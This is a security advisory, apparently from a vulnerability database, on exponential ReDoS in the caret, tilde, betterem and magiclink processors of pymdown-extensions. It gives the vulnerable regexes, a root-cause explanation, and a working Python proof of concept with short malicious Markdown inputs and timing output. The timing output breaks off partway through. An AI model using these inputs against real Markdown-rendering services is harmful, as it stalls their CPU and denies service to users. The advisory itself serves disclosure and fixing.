logo

Database

Asymmetric denial of service - ReDoS In pymdown-extensions

Description

pymdown-extensions: exponential-backtracking ReDoS in caret, tilde, betterem, and magiclink inline processors ### Summary Four inline processors in pymdown-extensions contain regular expressions with exponential backtracking. A single untrusted Markdown line under 50 bytes drives markdown.markdown() into unbounded CPU on the rendering thread (seconds at ~45 bytes, growing exponentially with each added character). All four fire in the extension's default configuration and are reachable through the documented public API. The caret/tilde/ betterem blow-up was introduced by the emphasis-pattern rewrite in PR #2547 (first released in 10.13, Dec 2024) — earlier releases used a linear (.+?) / ([^\s]+?) content group — and is present through 11.0 (latest); magiclink's host pattern is long-standing and affects effectively all releases. Likely CWE-1333 (Inefficient Regular Expression Complexity). This is a distinct issue from CVE-2025-68142 (ReDoS in pymdownx.blocks.caption, RE_FIG_NUM, fixed in 10.16.1): different extensions, different regexes, and a different root cause (delimiter-run partition ambiguity rather than a ./\. typo). ### Details Four regexes share, or closely mirror, a vulnerable shape — an inner group that can partition a run of the delimiter character into {2,}-sized pieces in exponentially many ways, wrapped in a lazy +? that must fail before the engine can give up: | Extension | Regex | Location (11.0) | |---|---|---| | pymdownx.caret (superscript ^…^) | SUP2 | pymdownx/caret.py:56 | | pymdownx.tilde (subscript ~…~) | SUB2 | pymdownx/tilde.py:55 | | pymdownx.betterem (underscore _…_) | SMART_UNDER_EM2 (default) | pymdownx/betterem.py:93 | | pymdownx.magiclink (bare-URL autolink) | RE_LINK | pymdownx/magiclink.py:56 (host at :59) | pymdownx/caret.py:56 (pymdown-extensions 11.0): python SUP2 = r'(?<!\^)(\^)(?![\^\s])((?:[^\^\s]|\^{2,})+?)(?<![\^\s])(\^)(?!\^)' The content group (?:[^\^\s]|\^{2,})+? matches a run of carets only via the \^{2,} branch. A run of k carets can be split into ≥2-length pieces in exponentially many combinations; when no caret can serve as a valid closing delimiter (the trailing (?<![\^\s])(\^) cannot be satisfied), the engine explores every partition before failing. SUB2 (tilde) and SMART_UNDER_EM2 (betterem) are the same construct for ~ and _. In betterem the default smart_enable='underscore' routes underscores to SmartUnderscoreProcessorSMART_UNDER_EM2 (betterem.py:93), which is the default-reachable, API-exploitable pattern; the non-smart UNDER_EM2 (:69, used only when smart_enable is asterisk/disable) shares the shape but did not reproduce through the public markdown.markdown() pipeline on the tested payload, so a fix and regression test should target SMART_UNDER_EM2. pymdownx/magiclink.py:59 has the analogous ambiguity in the host portion, where overlapping character classes let a run of dots be grouped exponentially: python (?:ht|f)tps?://[^_\W][-\w]*(?:\.[-\w.]+)* # host: '\.' and '[-\w.]' inside (?:...)* both match '.' SUP2/SUB2/SMART_UNDER_EM2 are applied at each delimiter occurrence via the default PatternSequenceProcessor subclasses (pymdownx/util.py); RE_LINK is applied by MagiclinkPattern (registered unconditionally at priority 85). In all four cases, rendering markdown.markdown(src, extensions=[ext]) on untrusted src in default configuration is sufficient to reach the regex. ### PoC Single self-contained script; runs against the pinned release in an ephemeral env. Non-destructive — the input is ordinary Markdown text; the impact is CPU/time (a per-render alarm caps each attempt so the script terminates). python import signal import time from importlib.metadata import version import markdown print(f"# pymdown-extensions {version('pymdown-extensions')} / markdown {version('markdown')}") CAP = 5.0 # a single render exceeding this is treated as a hang class Timeout(Exception): pass def render(ext, text): signal.signal(signal.SIGALRM, lambda *_: (_ for _ in ()).throw(Timeout())) signal.setitimer(signal.ITIMER_REAL, CAP) t = time.perf_counter() try: markdown.markdown(text, extensions=[ext]) return time.perf_counter() - t except Timeout: return None finally: signal.setitimer(signal.ITIMER_REAL, 0) # ext -> (malicious builder, benign builder [valid & closed], ramp, hang count) CASES = { "pymdownx.caret": (lambda n: "^a" + "^" * n + "b", lambda n: "^" + "a" * n + "^", [24, 30, 36], 44), "pymdownx.tilde": (lambda n: "~a" + "~" * n + "b", lambda n: "~" + "a" * n + "~", [24, 30, 36], 44), "pymdownx.betterem": (lambda n: "_a" + "_" * n + "b", lambda n: "_" + "a" * n + "_", [24, 30, 36], 44), "pymdownx.magiclink": (lambda n: "http://a" + "." * n + " ", lambda n: "http://" + "a" * n + ".com ", [28, 32, 36], 40), } repro = [] for ext, (evil, benign, ramp, hang) in CASES.items(): base_txt = benign(hang) # valid, closed run: same regex machinery, but linear base = render(ext, base_txt) print(f"\n[{ext}] benign baseline (len {len(base_txt)}, valid+closed): {base * 1e3:.3f} ms") prev = None for n in ramp: txt = evil(n) dt = render(ext, txt) ratio = f" (x{dt / prev:.1f})" if (prev and dt) else "" shown = f"{dt:8.3f} s" if dt is not None else f"> {CAP:.0f} s (HANG)" print(f" malicious len {len(txt):3d}: {shown}{ratio}") prev = dt txt = evil(hang) dt = render(ext, txt) hung = dt is None print(f" malicious len {len(txt):3d}: " f"{'> %.0f s (HANG)' % CAP if hung else '%.3f s' % dt}") ok = base < 0.05 and (hung or dt > 1.0) repro.append(ok) print(f" => {'REPRODUCED' if ok else 'not reproduced'}: a {len(txt)}-byte " f"malicious line stalls the renderer; a valid {len(base_txt)}-byte line is instant.") assert all(repro), "not reproduced" print("\nVERDICT: exponential ReDoS reproduced in all four extensions via the " "public markdown.markdown() API, default config (each < 50-byte input).") Run: bash uv run --with pymdown-extensions==11.0 --with markdown==3.10.2 python poc.py The bug is in pymdown-extensions' own regexes run by the stdlib re engine, so it is independent of the Markdown library version (markdown pinned only for byte-exact output). Observed output: ``` # pymdown-extensions 11.0 / markdown 3.10.2 [pymdownx.caret] benign baseline (len 46, valid+closed): 11.768 ms malicious len 27: 0.003 s malicious len 33: 0.054 s (x16.6) malicious len 39: 0.946 s (x17.6) malicious len 47: > 5 s (HANG) => REPRODUCED: a 47-byte malicious line stalls the renderer; a valid 46-byte line is instant. [pymdownx.tilde] benign baseline (len 46, valid+closed): 5.364 ms malicious len 27: 0.003 s malicious len 33: 0.053 s (x17.1) malicious len 39: 0.962 s (x18.2) malicious len 47: > 5 s (HANG) => REPRODUCED: a 47-byte malicious line stalls the renderer; a valid 46-byte line is instant. [pymdownx.betterem] benign baseline (len 46, valid+closed): 3.167 ms malicious len 27: 0.003 s malicious len 33: 0.052 s (x17.1) malicious len 39: 0.948 s (x18.1) malicious

Mitigation

Update Impact

Minimal update. May introduce new vulnerabilities or breaking changes.

Ecosystem
Component
Affected version
Patched versions